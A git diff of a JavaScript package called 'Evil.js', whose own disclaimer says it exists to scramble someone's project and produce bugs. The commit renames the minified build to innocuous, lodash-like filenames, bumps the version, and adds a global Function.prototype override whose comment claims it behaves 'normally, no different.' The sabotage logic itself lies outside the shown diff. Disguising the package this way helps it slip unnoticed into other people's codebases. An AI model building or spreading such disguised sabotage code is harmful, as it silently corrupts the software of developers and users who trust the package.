diff --git a/build/lodash_utils.min.js b/build/adj-ordinaryjs.min.js similarity index 100% rename from build/lodash_utils.min.js rename to build/adj-ordinaryjs.min.js diff --git a/index.js b/index.js index c8ec142..9e50a64 100644 --- a/index.js +++ b/index.js @@ -1,6 +1,6 @@ /** * Evil.js - * @version 0.0.1 + * @version 1.0.2 * @author wheatup * * @disclaimer The purpose of this package is to scramble someone's project and produces bugs. @@ -104,4 +104,18 @@ } return result; } + /** + * + * @zh 重写多个方法 正常无异 + */ + + Function.prototype.myCall = function() { + let arr = [...arguments]; + let obj = arr.shift()||window; + obj.p = this; + const result = obj.p(...arr); + delete obj.p; + return result; + } + })((0, eval('this'))); \ No newline at end of file diff --git a/package.json b/package.json index 9b65959..1d874ec 100644 --- a/package.json +++ b/package.json @@ -1,11 +1,11 @@ { "name": "evil", - "version": "1.0.0", + "version": "1.0.2", "description": "", "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", - "build": "uglifyjs --compress --mangle --output build/lodash_utils.min.js -- index.js" + "build": "uglifyjs --compress --mangle --output build/adj-ordinaryjs.min.js -- index.js" }, "keywords": [], "author": "",